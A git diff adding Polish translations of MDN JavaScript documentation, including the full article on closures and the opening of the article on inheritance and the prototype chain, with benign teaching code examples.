+ <dd>Dokumentacja dla deweloperów aplikacji Internetowych; Aplikacje Internetowe to prawdziwe aplikacje, które piszesz raz i uruchamiasz na telefonach, PC oraz systemie Firefox OS.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Web">Wyświetl wszystko...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Materiały referencyjne technologii sieciowych</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API" title="/en-US/docs/Web/API">Web APIs</a></dt>
+ <dd>Mateiał referencyjny każdego z interfejsów zawierających się w Web APIs, włączając w to DOM i wszystkie powiązne API i interfejsy, które są używane do tworzenia stron WWW.</dd>
+ <dt><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></dt>
+ <dd>HyperText Markup Language jest językiem służącym do opisania i definicji zawartości stron internetowych. </dd>
+ <dt><a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a></dt>
+ <dd>Cascading Style Sheets są używane do opisu wyglądu stron internetowych. </dd>
+ <dt><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>Scalable Vector Graphics umożliwiają opis zdjęć jako zbiorów wektorów i figur. Sprawia to, że będą one zawsze dobrze wyglądać bez względu na rozmiar, w którym są prezentowane.</dd>
+ <dt><a href="/en-US/docs/Web/MathML" title="/en-US/docs/Web/MathML">MathML</a></dt>
+ <dd>Mathematical Markup Language umożliwia pokazywanie skomplikowanych równań matematycznych i składni. </dd>
+</dl>
+</div>
+</div>
+
+<h3 id="Tymczasowe_materiały">Tymczasowe materiały</h3>
+
+<p>Poniższe materiały służą jako tymczasowe wskazówki - uniemożliwiają zgubienie się w gąszczu pracy organizacyjnej. Nie zwracaj na nie uwagi.</p>
+
+<p>{{ListSubpages}}</p>
diff --git a/files/pl/web/javascript/domkniecia/index.html b/files/pl/web/javascript/domkniecia/index.html
new file mode 100644
index 0000000000..985f5e50ce
--- /dev/null
+++ b/files/pl/web/javascript/domkniecia/index.html
@@ -0,0 +1,408 @@
+---
+title: Domknięcia
+slug: Web/JavaScript/Domkniecia
+translation_of: Web/JavaScript/Closures
+---
+<div> {{jsSidebar("Intermediate")}}</div>
+
+<div></div>
+
+<p class="summary">Domknięcie jest funkcją skojarzoną z odwołującym się do niej środowiskiem. Innymi słowy domknięcie daje Ci dostęp z funkcji wewnętrznej do zasięgu funkcji zewnętrznej.</p>
+
+<h2 id="Zasięg_leksykalny">Zasięg leksykalny</h2>
+
+<p>Rozważ poniższy przykład:</p>
+
+<div>
+<pre class="brush: js">function init() {
+ var name = "Mozilla"; // name jest zmienną lokalną utworzoną przez funkcję init
+ function displayName() { // displayName() jest wewnętrzną funkcją, domknięciem
+ alert(name); // używa zmiennej zdeklarowanej w funkcji nadrzędnej
+ }
+ displayName();
+}
+init();</pre>
+</div>
+
+<p><code>init()</code> tworzy zmienną lokalną <code>name</code> oraz funkcję <code>displayName()</code>. <code>displayName()</code> jest funkcją lokalną która została zdefiniowana wewnątrz funkcji <code>init()</code> i jest dostępna tylko wewnątrz tej funkcji. <code>displayName()</code> nie ma własnych zmiennych lokalnych. Jednakże, ponieważ wewnętrzne funkcje mają dostęp do zmiennych zdefiniowanych w funkcjach zewnętrznych, <code>displayName()</code> ma dostęp do zmiennej <code>name</code> zdeklarowanej w funkcji nadrzędnej, <code>init()</code>.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/xAFs9/3/", "js,result", 200)}}</p>
+
+<p>Uruchom kod i zauważ że <code>alert()</code> zawarty w funkcji <code>displayName()</code> wyświetlił wartość ze zmiennej <code>name</code>, która jest zdeklarowana w funkcji nadrzędnej. Jest to przykład <em>zasięgu leksykalnego</em>, który opisuje jak parser rozwiązuje zmienne kiedy funkcje są zagnieżdżone. Słowo "leksykalny" odnosi się do faktu że zasięg leksykalny używa lokalizacji zdefiniowania zmiennej w kodzie źródłowym aby określić gdzie ta zmienna jest dostępna. Zagnieżdżone funkcje mają dostęp do zmiennych zdeklarowanych w ich zewnętrznym zasięgu.</p>
+
+<h2 id="Domknięcie">Domknięcie</h2>
+
+<p>Teraz rozważmy następujący przykład:</p>
+
+<pre class="brush: js">function makeFunc() {
+ var name = "Mozilla";
+ function displayName() {
+ alert(name);
+ }
+ return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+
+<p>Jeżeli uruchomisz ten kod przekonasz się że ma takie samo działanie jak poprzedni przykład z funkcją <code>init()</code>: tym razem wartość tekstowa "Mozilla" zostanie wyświetlona w alercie. To, co jest inne, - i interesujące - to to, że wewnętrzna funkcja <code>displayName()</code> została zwrócona z nadrzędnej funkcji przed jej wykonaniem.</p>
+
+<p>Na pierwszy rzut oka może się wydawać nieintuicyjne, że kod nadal pracuje. W niektórych językach programowania zmienne lokalne znajdujące się w funkcji istnieją tylko przez czas trwania tej funkcji. W momencie gdy <code>makeFunc()</code> zostanie wykonana możesz oczekiwać, że zmienna nie będzie już dostępna. Jednakże, ponieważ w naszym przypadku kod nadal pracuje, jak widać nie dotyczy to języka JavaScript.</p>
+
+<p>Spowodowane jest to tym, że omawiane funkcje przybierają w Javascript formę domknięć. <em>Domknięcie</em> jest kombinacją funkcji i leksykalnego środowiska w którym ta funkcja została zdeklarowana. To środowisko zawiera każdą zmienną lokalną która była w zasięgu w momencie kiedy domknięcie zostało stworzone. W tym przypadku, <code>myFunc</code> jest referencją do instancji funkcji <code>displayName</code> stworzonej w momencie działania <code>makeFunc</code>. Instancja <code>displayName</code> zarządza referencją do jej leksykalnego środowiska, w którym istnieje zmienna. Dlatego, kiedy <code>myFunc</code> jest uruchomiona, zmienna pozostaje dostępna do użycia i "Mozilla" może być przekazane do <code>alert</code>.</p>
+
+<p>Poniżej znajduje się znacznie bardziej interesujący przykład — funkcja <code>makeAdder</code>:</p>
+
+<pre><code>function makeAdder(x) {
+ return function(y) {
+ return x + y;
+ };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+console.log(add5(2)); // 7
+console.log(add10(2)); // 12</code></pre>
+
+<p>W tym przykładzie, zdefiniowaliśmy funkcję <code>makeAdder(x)</code>, która pobiera argument, <code>x</code>, i zwraca nową funkcję.  Zwrócona funkcja pobiera argument, y, i zwraca sume x i y.</p>
+
+<p>W zasadzie <code>makeAdder</code> jest fabryką funkcji — wytwarza funkcje, które mogą dodawać pewną wartość do ich argumentu. W powyższym przykładzie używamy naszej fabryki funkcji do stworzenia dwóch nowych funkcji — jedna, która dodaje 5 do jej argumentu i druga, która dodaje 10.</p>
+
+<p><code>add5</code> i <code>add10</code> są domknięciami. Dzielą ten sam kod zawarty w funkcji <code>makeAdder</code>, ale przechowują różne leksykalne środowisko. W leksykalnym środowisku <code>add5</code>, <code>x</code> wynosi 5, natomiast w leksykalnym środowisku <code>add10</code>, <code>x</code> jest równe 10.</p>
+
+<h2 id="Praktyczne_domknięcia">Praktyczne domknięcia</h2>
+
+<p>Domknięcia są przydatne, ponieważ pozwalają Ci powiązać część danych (środowisko leksykalne) z funkcją, która operuje na tych danych. Jest to oczywista analogia do programowania obiektowego, gdzie obiekty pozwalają nam na powiązanie części danych (właściwości obiektu) z jedną lub dwiema metodami.</p>
+
+<p>W rezultacie możesz użyć dokmnięć w sytuacjach, gdzie normalnie byś użył/a obiektu z wyłącznie jedną metodą.</p>
+
+<p>Potencjalne sytuacje zastosowania powyższego zachowania są szczególnie popularne w sieci. Wiele kodu, który piszemy we front-endowym Javascripcie bazuje na zdarzeniach — definiujemy jakieś zachowanie, następnie dołączamy je do wydarzenia, które jest wywoływane przez użytkownika (kliknięciem myszki lub naciśnięciem klawisza klawiatury). Nasz kod jest najczęściej dołączony jako callback (wywołanie zwrotne): pojedyncza funkcja wykonywana jako odpowiedź na wydarzenie.</p>
+
+<p>Przyjmijmy przykładowo, że chcemy dodać do strony przyciski, które zmieniają wielkość tekstu. Jednym ze sposobów na osiągnięcie tego jest określenie rozmiaru czcionki <code>font-size</code> elementu <code>body</code> w pikselach, następnie ustawienie rozmiaru innych elementów na stronie (takich jak nagłówki) używając jednostki względnej <code>em</code>:</p>
+
+<pre><code>body {
+ font-family: Helvetica, Arial, sans-serif;
+ font-size: 12px;
+}
+
+h1 {
+ font-size: 1.5em;
+}
+
+h2 {
+ font-size: 1.2em;
+}</code></pre>
+
+<p>Nasze interaktywne przyciski zmiany wielkości tekstu mogą zmienić wlaściwość <code>font-size</code> elementu <code>body</code>, a inne elementy strony dostosują się dzięki zastosowaniu jednostki względnej.</p>
+
+<p>Poniżej realizacja w JavaScript:</p>
+
+<pre><code>function makeSizer(size) {
+ return function() {
+ document.body.style.fontSize = size + 'px';
+ };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);</code></pre>
+
+<p><code>size12</code>, <code>size14</code>, oraz <code>size16</code> są obecnie funkcjami, które zmienią rozmiar tekstu w <code>body</code> do odpowiednio 12, 14 oraz 16 pixeli. Możemy dołączyć je do przycisków (w tym przypadku linków) jak ponżej:</p>
+
+<pre><code>document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;</code></pre>
+
+<pre><code>&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;</code></pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}</p>
+
+<h2 id="Emulowanie_prywatnych_metod_przy_użyciu_domknięć">Emulowanie prywatnych metod przy użyciu domknięć</h2>
+
+<p>Języki takie jak Java dostarczają możliwość zadeklarowania metody jako prywatna, co oznacza, że może ona zostać wywołana wylącznie przez inne metody w tej samej klasie.</p>
+
+<p>JavaScript nie zapewnia do tego wbudowanej metody, jednakże jest możliwa emulacja prywatnych metod przy użyciu domknięć. Prywatne metody nie sa wyłącznie użyteczne z racji możliwości ograniczenia dostępu do kodu: dają również świetną możliwość zarządzania Twoją globalną przestrzenią nazw (namespace) uniemożliwiając nieistotnym metodom zaśmiecenie interfejsu publicznego Twojego kodu.</p>
+
+<p>Poniższy kod ukazuje, w jaki sposób można użyć domknięć do zdefiniowania publicznych funkcji, które mają dostęp do prywatnych funkcji i zmiennych. Używanie dokmnięć w taki sposób znane jest jako <a href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">module pattern</a>:</p>
+
+<pre><code>var counter = (function() {
+ var privateCounter = 0;
+ function changeBy(val) {
+ privateCounter += val;
+ }
+ return {
+ increment: function() {
+ changeBy(1);
+ },
+ decrement: function() {
+ changeBy(-1);
+ },
+ value: function() {
+ return privateCounter;
+ }
+ };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1</code></pre>
+
+<p>W poprzednich przykładach każde domknięcie miało własne leksykalne środowisko. Jednakże w tym przypadku tworzymy pojedyncze środowisko leksykalne, współdzielone przez trzy funkcje: <code>counter.increment</code>, <code>counter.decrement<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> oraz </span></font></code><code>counter.value</code>.</p>
+
+<p>Owo współdzielone środowisko leksykalne tworzone jest w ciele funkcji anonimowej, która jest wykonana w momencie, gdy tylko zostanie zdefiniowana. Środowisko leksykalne zawiera dwa prywatne przedmioty: zmienną o nazwie <code>privateCounter</code> i funkcję o nazwie <code>changeBy</code>. Żaden z tych prywatnych przedmiotów nie może być wywołany bezpośrednio spoza funkcji anonimowej. Zamiast tego, muszą mieć być one wywołane poprzez trzy funkcje publiczne, które są zwracane z anonimowej klasy opakowującej (wrapper).</p>
+
+<p>Te trzy funkcje publiczne to domknięcia, które współdzielą to samo środowisko. Dzięki JavaScriptowemu zakresowi leksykalnemu, każda z nich ma dostęp do zmiennej <code>privateCounter</code> oraz funkcji <code>changeBy.</code></p>
+
+<p>Zauważysz, że definiujemy anonimową funkcję, która tworzy licznik, a następnie od razu ją wywołujemy i przypisujemy wynik do zmiennej <code>counter</code>. Moglibyśmy przetrzymywać tę funkcję w oddzielnej zmiennej <code>makeCounter</code> i użyć jej do stworzenia kilku liczników.</p>
+
+<pre><code>var makeCounter = function() {
+ var privateCounter = 0;
+ function changeBy(val) {
+ privateCounter += val;
+ }
+ return {
+ increment: function() {
+ changeBy(1);
+ },
+ decrement: function() {
+ changeBy(-1);
+ },
+ value: function() {
+ return privateCounter;
+ }
+ }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* Alerts 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* Alerts 2 */
+counter1.decrement();
+alert(counter1.value()); /* Alerts 1 */
+alert(counter2.value()); /* Alerts 0 */</code></pre>
+
+<p>Zauważ, że każdy z dwóch liczników, <code>counter1</code> oraz <code>counter2</code>, jest niezależny od drugiego. Każde domknięcie odnosi się do innej wersji zmiennej <code>privateCounter</code> przez własne domknięcie. Za każdym razem gdy któryś z liczników jest wywołany, jego środowisko leksykalne zmienia się przez zmianę wartości tej zmiennej; jednakże zmiany wartości zmiennej jednego domknięcia nie wpływają na wartość w innym domknięciu.</p>
+
+<p>Używanie domknięć w ten sposób dostarcza wielu korzyści, które normalnie kojarzone sa z programowaniem obiektowym — w szczególności ukrywaniem oraz enkapsulacją danych.</p>
+
+<h2 id="Tworzenie_domknięć_w_pętlach_popularne_błędy">Tworzenie domknięć w pętlach: popularne błędy</h2>
+
+<p>W czasach przed wprowadzeniem definicji <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let" title="let"><code>let</code> </a>w standardzie ECMAScript 2015, popularnym problemem z domknięciami było ich użycie w pętlach.<br>
+ Rozważmy poniższy kod:</p>
+
+<pre class="brush: html"><code>&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;</code></pre>
+
+<pre class="brush: js"><code>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+}
+
+setupHelp();</code></pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p>
+
+<p>Tablica <code>helpText</code> definiuje trzy podpowiedzi. Każda z nich jest powiązana z ID inputu z dokumentu. Następnie w pętli <code>for</code> dodawana jest obsługa zdarzenia <code>onfocus</code>, która ma pokazać tekst podpowiedzi podczas ustawienia focusa na pole.<br>
+ <br>
+ Jeżeli sprawdzisz działanie tego kodu okaże się, że nie działa tak, jak się spodziewaliśmy. Zawsze zostanie wyświetlona podpowiedź dotycząca ostatniego pola (<code>'Your age (you must be over 16)'</code>).</p>
+
+<p>Powodem takiego działania funkcji zwrotnej obsługującej <code>onfocus</code> jest domknięcie. Składa sie ono z definicji funkcji i przechwyconego kontekstu zakresu z <code>setupHelp</code>. Trzy domknięcia stworzone są w pętli, ale dzielą one to samo środowisko leksykalne, ktore posiada zmienną, która jest aktualizowana (<code>item.help</code>). Wartości <code>item.help</code> są determinowane w pętli, więc kiedy obsługa zdarzenia <code>onfocus</code> zostanie wywołana, <code>item.help</code> będzie miało wartość z ostatniej iteracji pętli.</p>
+
+<p>Rozwiązaniem tego problemu jest użycie kolejnych domknięć, szczególnie fabryki funkcji opisanej wcześniej:</p>
+
+<pre class="brush: js"><code>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function makeHelpCallback(help) {
+ return function() {
+ showHelp(help);
+ };
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = makeHelpCallback(item.help);
+ }
+}
+
+setupHelp();</code></pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}</p>
+
+<p>To rozwiązanie działa zgodnie z oczekiwaniami. W odróżnieniu od wcześniejszego przykładu, <code>makeHelpCallback</code> tworzy <em>nowe środowisko leksykalne</em> dla każdej funkcji zwrotnej, w której <code>help</code> odnosi się do odpowiadającego stringa z tablicy <code>helpText</code>.</p>
+
+<p>Innym sposobem zapisu rozwiązania z anonimowymi domknięciami jest:</p>
+
+<pre class="brush: js"><code>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ (function() {
+ var item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ })(); // Immediate event listener attachment with the current value of item (preserved until iteration).
+ }
+}
+
+setupHelp();</code></pre>
+
+<p>Jeżeli nie chcesz używać domknięć możesz użyć słowa kluczowego <code>let</code> ze standardu ES2015:</p>
+
+<pre class="brush: js"><code>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ for (var i = 0; i &lt; helpText.length; i++) {
+ let item = helpText[i];
+ document.getElementById(item.id).onfocus = function() {
+ showHelp(item.help);
+ }
+ }
+}
+
+setupHelp();</code></pre>
+
+<p>Ten przykład używa <code>let</code> zamiast <code>var</code>, więc każde domknięcie wiąże się z blokowym zasięgiem funkcji, dlatego nie potrzeba żadnych dodatkowych domknięć.</p>
+
+<p>Alternatywą może być użycie <code>forEach()</code>, by iterować po tablicy <code>helpText</code> i dodać listener dla każdego elementu <code>&lt;input&gt;</code>:</p>
+
+
+
+<pre class="brush: js"><code>function showHelp(help) {
+ document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+ var helpText = [
+ {'id': 'email', 'help': 'Your e-mail address'},
+ {'id': 'name', 'help': 'Your full name'},
+ {'id': 'age', 'help': 'Your age (you must be over 16)'}
+ ];
+
+ helpText.forEach(function(text) {
+ document.getElementById(text.id).onfocus = function() {
+ showHelp(text.help);
+ }
+ });
+}
+
+setupHelp();</code></pre>
+
+
+
+<h2 id="Wątpliwości_wydajnościowe">Wątpliwości wydajnościowe</h2>
+
+<p>Niemądrze jest, aby niepotrzebnie tworzyć funkcje wewnątrz innych funkcji, jeżeli domnkięcia nie są wymagane w danej sytuacji, jako że odbije się to w negatywny sposób na wydajność skryptu, mierzoną poprzez czas wykonywania jak również i używaną pamięć.</p>
+
+<p>Na przykład gdy tworzymy nowy obiekt/klasę, metody powinny być zwykle powiązane z prototypem obiektu zamiast definiowane w konstruktorze obiektu. Przyczyną jest to, że za każdym razem gdy konstruktor zostanie użyty, metody zostaną nadpisane (czyli przy każdym tworzeniu nowego obiektu).</p>
+
+<p>Rozważmy następujący przykład:</p>
+
+<pre><code>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+ this.getName = function() {
+ return this.name;
+ };
+
+ this.getMessage = function() {
+ return this.message;
+ };
+}</code></pre>
+
+<p>Ponieważ poprzedni przykład nie wykorzystuje zalet, które płyną z wykorzystania domknięć, możemy to przepisać w następujący sposób:</p>
+
+<pre><code>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+MyObject.prototype = {
+ getName: function() {
+ return this.name;
+ },
+ getMessage: function() {
+ return this.message;
+ }
+};</code></pre>
+
+<p>Jednakże ponowne definiowanie prototypu nie jest rekomendowane. Poniższy przykład zamiast tego dodaje właściwości do istniejącego prototypu:</p>
+
+<pre><code>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+MyObject.prototype.getName = function() {
+ return this.name;
+};
+MyObject.prototype.getMessage = function() {
+ return this.message;
+};</code></pre>
+
+<p>Powyższy przykład może też zostać przepisany w bardziej czytelny sposób, z identycznym wynikiem:</p>
+
+<pre><code>function MyObject(name, message) {
+ this.name = name.toString();
+ this.message = message.toString();
+}
+(function() {
+ this.getName = function() {
+ return this.name;
+ };
+ this.getMessage = function() {
+ return this.message;
+ };
+}).call(MyObject.prototype);</code></pre>
+
+<p>W poprzednich trzech przykładach odziedziczony prototyp może być współdzielony przez wszystkie obiektu i definicje metod nie muszą występować przy każdorazowym tworzeniu obiektu. Aby dowiedzieć się więcej, zobacz Szczegóły modelu obiektowego.</p>
+
+<p>In the three previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the Object Model</a> for more.</p>
diff --git a/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html b/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html
new file mode 100644
index 0000000000..0c18115595
--- /dev/null
+++ b/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html
@@ -0,0 +1,295 @@
+---
+title: Dziedziczenie i łańcuch prototypów
+slug: Web/JavaScript/dziedziczenie_lancuch_prototypow
+tags:
+ - Dziedziczenie
+ - JavaScript
+ - OOP
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<div>{{jsSidebar("Advanced")}}</div>
+
+<p>JavaScript bywa mylący dla developerów doświadczonych w językach opartych na klasach (jak Java lub C++) przez to, że jest dynamiczny i nie zapewnia implementacji klasy per se (słowo kluczowe <code>class</code> zostało wprowadzone w ES2015, ale to tylko lukier składniowy, JavaScript pozostaje oparty na prototypach).</p>
+
+<p>Jeżeli chodzi o dziedziczenie, JavaScript posiada tylko jedną konstrukcję: obiekty. Każdy obiekt posiada prywatną własność łączącą go z innym obiektem zwanym jego <strong>prototypem</strong>. Obiekt <em>prototype </em>posiada swój własny prototyp, i tak dalej aż obiekt osiągnie <code>null</code> jako swój prototyp. <code>null</code> nie ma prototypu i działa jak zakończenie <strong>łańcucha</strong> <strong>prototypów</strong>.</p>
+
+<p>Podczas gdy jest to często uważane za słabość języka JavaScript, prototypowe podejście do dziedziczenia jest w rzeczywistości znacznie potężniejszym narzędziem niż model klasowy. Dla przykładu trywialnie proste jest zbudowanie klas w modelu prototypowym, podczas gdy odwrotna operacja jest znacznie bardziej skomplikowana.</p>
+
+<h2 id="Dziedziczenie_z_łańcucha_prototypów">Dziedziczenie z łańcucha prototypów</h2>
+
+<h3 id="Dziedziczenie_właściwości">Dziedziczenie właściwości</h3>
+
+<p>Obiekty w JavaScript są dynamicznymi "workami" właściwości, nazywanych <strong>własnymi właściwościami</strong><em> </em>(<em>own properties</em>). Obiekty JavaScript mają połączenie z obiektem prototypu. Podczas próby dostępu do właściwości obiektu, właściwość będzie szukana nie tylko w samym obiekcie, ale też w jego prototypie, prototypie jego prototypu i tak dalej, aż do odnalezienia właściwości o pasującej nazwie bądź końca łańcucha prototypów.</p>
+
+<div class="note">
+<p>W standardzie ECMAScript, notacja <code>jakisObiekt.[[Prototype]] </code> jest używana do oznaczenia prototypu  <code>jakisObiekt.</code> Jest to odpowiednik właściwości <code>__proto__</code> (przestarzały).</p>
+
+<p>Nie powinno być to mylone z właściwością <code><em>func</em>.prototype</code> funkcji, który zamiast tego oznacza <code>[[Prototype]]</code> który jest przypisany do wszystkich instancji stworzonych z danej funkcji kiedy jest użyta jako konstruktor . Od ECMAScript 6 do obiektu <code>[[Prototype]]</code> można uzyskać dostęp przez {{jsxref("Object.getPrototypeOf()")}} i {{jsxref("Object.setPrototypeOf()")}}.</p>
+</div>
+
+<p>Oto co się dzieje kiedy próbujemy uzyskać dostęp do właściwości:</p>
+
+<pre class="brush: js">// Przyjmijmy istnienie obiektu o, z własnymi właściwościami a i b:
+// {a: 1, b: 2}
+// o.[[Prototype]] ma właściwości b i c:
+// {b: 3, c: 4}
+// o.[[Prototype]].[[Prototype]] jest nullem.
+// Oznacza to koniec łańcucha prototypów,
+// zgodnie z definicją null nie ma [[Prototype]]
+// A więc pełny łańcuch prototypów wygląda tak:
+// {a:1, b:2} ---&gt; {b:3, c:4} ---&gt; null
+
+console.log(o.a); // 1
+// Czy istnieje własna właściwość 'a' obiektu o? Tak, jej wartość to 1.
+
+console.log(o.b); // 2
+// Czy istnieje własna właściwość 'b' obiektu o? Tak, jej wartość to 2.
+// Prototyp także ma właściwość 'b', ale nie jest ona brana pod uwagę.
+// Nazywa się to "zakrywaniem właściwości" (ang. property shadowing)
+
+console.log(o.c); // 4
+// Czy istnieje właściwość 'c' obiektu o? Nie, sprawdź prototyp.
+// Czy istnieje właściwość 'c' obiektu o.[[Prototype]]? Tak, jej wartość to 4.
+
+console.log(o.d); // undefined
+// Czy istnieje właściwość 'd' obiektu o? Nie, sprawdź prototyp.
+// Czy istnieje właściwość 'd' obiektu o.[[Prototype]]? Nie, sprawdź prototyp.
+// o.[[Prototype]].[[Prototype]] to null, koniec wyszukiwania.
+// Nie znaleziono właściwości, zwróć undefined.
+</pre>
+
+<p>Ustawienie właściwości obiektu tworzy własną właściwość. Jedyny wyjątek od reguł pobierania i tworzenia właściwości stanowi przypadek gdy istnieje odziedziczona właściwość z <a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters" title="Defining Getters and Setters"> getterem lub setterem.</a></p>
+
+<h3 id="Dziedziczenie_metody">Dziedziczenie "metody"</h3>
+
+<p>JavaScript nie ma "metod" w rozumieniu języków obiektowych. W JS każda funkcja może być dodana jako właściwość do obiektu. Odziedziczona funkcja zachowuje się jak każda inna właściwość, wliczając w to zakrywanie właściwości, tak jak pokazano wyżej (w tym wypadku forma <em>nadpisania metody</em>).</p>
+
+<p>Kiedy jest wykonywana odziedziczona metoda, wartość <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this" title="this">this</a></code> wskazuje na obiekt, który dziedziczy, nie na obiekt w którym ta metoda została zadeklarowana jako własna właściwość</p>
+
+<pre class="brush: js">var o = {
+ a: 2,
+ m: function(b){
+ return this.a + 1;
+ }
+};
+
+console.log(o.m()); // 3
+// Podczas wywołania o.m, 'this' wskazuje na o
+
+var p = Object.create(o);
+// p jest obiektem dziedziczącym z o
+
+p.a = 12; // tworzy własną właściwość 'a' w obiekcie p
+console.log(p.m()); // 13
+// Podczas wywołania p.m, 'this' wskazuje na p.
+// p dziedziczy funkcję m z obiektu o.
+// 'this.a' oznacza p.a, własną właściwość 'a' obiektu p.
+</pre>
+
+<h2 id="Różne_sposoby_tworzenia_obiektów_i_powiązane_z_nimi_łańcuchy_prototypów.">Różne sposoby tworzenia obiektów i powiązane z nimi łańcuchy prototypów.</h2>
+
+
+
+<h3 id="Obiekty_stworzone_za_pomocą_podstawowej_składni">Obiekty stworzone za pomocą podstawowej składni</h3>
+
+<pre class="brush: js">var o = {a: 1};
+// Nowo stworzony obiekt używa Object.prototype jako swojego [[Prototype]]
+// o nie posiada właściwości o nazwie 'hasOwnProperty'
+// hasOwnProperty jest własną właściwością Object.prototype.
+// o dziedziczy hasOwnProperty z Object.prototype
+// Object.prototype ma null jako swój prototyp.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+// Tablice dziedziczą z Array.prototype
+// (który zawiera metody takie jak indexOf, forEach, itd.)
+// Łańcuch prototypów wygląda następująco:
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+ return 2;
+}
+
+// Funkcje dziedziczą z Function.prototype
+// (który zawiera metody takie jak call, bind, itd.)
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="Za_pomocą_konstruktora">Za pomocą konstruktora</h3>
+
+<p>"Konstruktor" w JavaScript jest "tylko" funkcją, której używa się w połączeniu z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new" title="new">operatorem new</a>.</p>
+
+<pre class="brush: js">function Graph() {
+ this.vertices = [];
+ this.edges = [];
+}
+
+Graph.prototype = {
+ addVertex: function(v){
+ this.vertices.push(v);
+ }
+};
+
+var g = new Graph();
+// g is an object with own properties 'vertices' and 'edges'.
+// g.[[Prototype]] is the value of Graph.prototype when new Graph() is executed.
+</pre>
+
+<h3 id="Za_pomocą_Object.create">Za pomocą <code>Object.create</code></h3>
+
+<p>ECMAScript 5 wprowadził nową metodę: {{jsxref("Object.create()")}}. Wywołanie tej metody tworzy nowy obiekt. Jego prototypem staje się pierwszy argument tej metody:</p>
+
+<pre class="brush: js">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (inherited)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
